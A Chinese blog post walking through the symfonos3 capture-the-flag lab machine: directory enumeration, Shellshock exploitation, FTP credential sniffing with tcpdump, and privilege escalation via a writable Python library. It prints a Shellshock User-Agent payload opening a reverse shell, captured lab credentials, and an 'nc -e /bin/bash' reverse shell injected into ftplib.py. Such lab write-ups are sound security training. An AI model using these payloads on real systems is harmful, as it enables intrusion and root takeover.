尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
从目录枚举到bash破壳漏洞、从流量抓包到组权限提权:靶机练习之symfonos3
信息搜集nmap -sT --min-rate 10000 192.168.8.8 -p-ftp/ssh/web80,经典 的三个端口nmap -sT -sC -sV -O 192.168.8.8 -p21,22,80 -o portsftp的这个版本似乎是有文件复制的漏洞web渗透gobuster扫描先扫了一波敏感文件只出了一个gate目录gobuster dir -u http://192.168.8.8/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,bak,php进一步目录扫描仍然只出了一个目录gobuster dir -u http://192.168.8.8/gate/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,bak,phpdirsearch递归扫描因为目录一层一层的出来这边考虑尝试直接用递归扫描dirsearch -u http://192.168.8.8/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e txt,bak,php -r --deep-recursive结果一样仍然只有一个目录dirb扫描换个工具再试一下呢dirb http://192.168.8.8有不同的结果,扫出了cgi-bin,字典中其实都是包含的这是为什么呢┌───────────┬──────────────────────────┬─────────────────────────┐ │ 工具 │ 目录测试方式 │ 能发现 ScriptAlias 目录 │ ├───────────┼──────────────────────────┼─────────────────────────┤ │ dirb │ 自动补 / 测试 │ 能 │ ├───────────┼──────────────────────────┼─────────────────────────┤ │ gobuster │ 不补 /依赖服务端 301 │ 不能 │ ├───────────┼──────────────────────────┼─────────────────────────┤ │ dirsearch │ 不补 /默认依赖 301 │ 不能 │简单用curl测试一下。不带/就会404了确实是这个原因目前得到了一个403的目录dirb继续扫了一下发现没有结果这边转头就换了gobuster,因为它配置大字典扫的更快,gobuster dir -u http://192.168.8.8/cgi-bin/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,bak,php果然有隐藏目录打开发现似乎是一个脚本执行了uptime的命令可以查看时间和服务器状态kali本机中也有相应的程序nikto扫描走到这一步仍然没有特别明晰的思路于是尝试让nikto做一个web扫描nikto -h http://192.168.8.8/cgi-bin/underworld爆了一个cve的漏洞是shellshockbash破壳漏洞() { :; }; echo; /usr/bin/idburp抓包发送payload成功命令执行反弹shellUser-Agent: () { :; }; echo; /bin/bash -c bash -i /dev/tcp/192.168.8.11/4444 01linpeas提权靶机敏感信息因为没有找到太多有用的信息这边先用linpeas提权一下关键信息发现靶机有抓包工具tcpdump流量包抓取分析因为ftp是明文传输而靶机上面正好也有tcpdump抓包的环境所以这边进行抓包分析对外的网卡是ens33tcpdump -i ens33 -w ftp.pcap -c 10000 #这边可以指定数据包数量防止需要中断抓包导致反弹shell断联ens33网卡数据包没有关于ftp的数据ftp可能是内部lo网卡通信tcp.port 21tcpdump -i lo -w ftp.pcap泄露了密码账号密码hades/PTpZTfU4vxgzvRBE成功登录hades 的ftp提权凭证复用这边直接尝试用刚才的凭证登录ssh,也是直接成功登录因为抓包的时候发现ftp一直在内部通信所以尝试先找一下这个程序运行的位置find / -name ftp* 2/dev/null找到这个ftp,应该是定期做服务的状态监测它导入了一个ftplib的组权限提权执行id命令的时候发现hades有gods的组权限查找有1002组权限的文件、文件夹find / -name ftp -group 1002 -type f 2/dev/nullfind / -group 1002 -type d 2/dev/null发现1002拥有整个python2.7库的组权限这时候再查找一下ftplib的权限ls -liah ftplib*确实是有gods的组权限那就简单了直接再fptlib.py尾部追加payloadimport os os.system(nc -e /bin/bash 192.168.8.11 4444)同步开启反弹shell接收等待片刻成功提权小结一下靶机的难度是中级到hard之间打下来感觉还是有难度的。从一开始的目录枚举就有很多坑要踩不同的目录扫描工具扫描策略其实是有侧重的dirb会对目录和文件双重扫描gobuster扫的更快等等然后就是nikto针对web指纹的扫描还是比较好用的也是识别到了bash破壳漏洞linpeas作为linux后渗透工具也是经常会用到这个算是常规思路tcpdump流量包抓取ftp流量也是要mark的因为ftp它是明文传输只要能抓包就能拿到账号密码最后的组权限提权也是一个非常经典的案例通过在组权限的python库文件注入payload拿到root
RELATED

相关推荐

Transformer位置编码原理与实战技巧

Transformer位置编码原理与实战技巧

1. 位置编码:自然语言处理的隐形坐标系统第一次接触Transformer模型时,最让我困惑的就是这个看似简单的概念——位置编码(Positional Encoding)。为什么要把一堆正弦余弦函数塞进词向量里?直到亲手实现了一个简易的Tra…

📅 2026/9/14 6:21:26
C++一维数组核心原理与实战:从内存模型到算法实现

C++一维数组核心原理与实战:从内存模型到算法实现

1. 项目概述:为什么一维数组是C的基石 如果你刚开始接触C,或者已经学完了变量、循环和函数,正准备向更复杂的数据结构迈进,那么“一维数组”绝对是你绕不开的第一座山。很多人觉得数组不就是一堆相同类型变量的集合吗,…

📅 2026/9/16 2:59:07
AI如何通过NLP技术重塑学术论文写作全流程

AI如何通过NLP技术重塑学术论文写作全流程

1. 项目概述:AI如何重塑课程论文写作体验作为一名在高等教育领域深耕多年的研究者,我见证了无数学生在课程论文写作中挣扎的过程。从选题迷茫到文献梳理,从结构搭建到格式规范,每个环节都可能成为学术道路上的绊脚石。"书匠策…

📅 2026/8/24 20:52:02
MORE NEWS

更多资讯

📰

北汽eu260性能优化速查手册:拒绝卡顿,3步搞定堆栈

北汽eu260性能优化速查手册:拒绝卡顿,3步搞定堆栈 刚接北汽EU260车机项目,或者在调通那套老旧的CAN总线通信代码时,你是不是也遇到过这种崩溃瞬间?屏幕上全是红色的 StackTrace ,报错信息像天书一样滚过,什么…

📰

自律的人有多可怕?图解原理揭示性能优化真相

自律的人有多可怕?图解原理揭示性能优化真相 面试被问原理答不上来,这种尴尬谁没经历过? 面试官盯着你的眼睛,追问那个循环里的耗时瓶颈,你脑子一片空白。 别慌,今天用图解原理拆解【自律的人有多可怕】背后的代码逻辑。…

📰

3个必应壁纸下载器手写实现对比 别再被StackTrace折磨

3个必应壁纸下载器手写实现对比 别再被StackTrace折磨 盯着屏幕满屏的红色 java.lang.RuntimeException 或 TypeError: Cannot read properties of undefined…

📰

5个全国铁路图实战技巧,新手避坑面试不慌

5个全国铁路图实战技巧,新手避坑面试不慌 面试被问“请描述一下全国铁路图的核心数据结构”,你愣在原地答不上来?别慌,这是典型的 新手避坑…

📰

evennumber手写实现:3个坑让版本升级API全变了

evennumber手写实现:3个坑让版本升级API全变了 昨天还在跑得好好的脚本,今天一更新依赖库,控制台直接炸出一堆 AttributeError: module 'evennumber' has no attribute…

📰

武圣卡源码解析:3个致命坑让代码跑不通

武圣卡源码解析:3个致命坑让代码跑不通 复制来的代码跑不通,改了一行又报错两行,这种崩溃感谁懂?别急着骂人,多半是“武圣卡”机制里的状态机没对齐。很多老手都栽在这里,看着逻辑通顺,实际运行时卡死在状态校验环节。今天直接上源码解析,把那些藏在…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬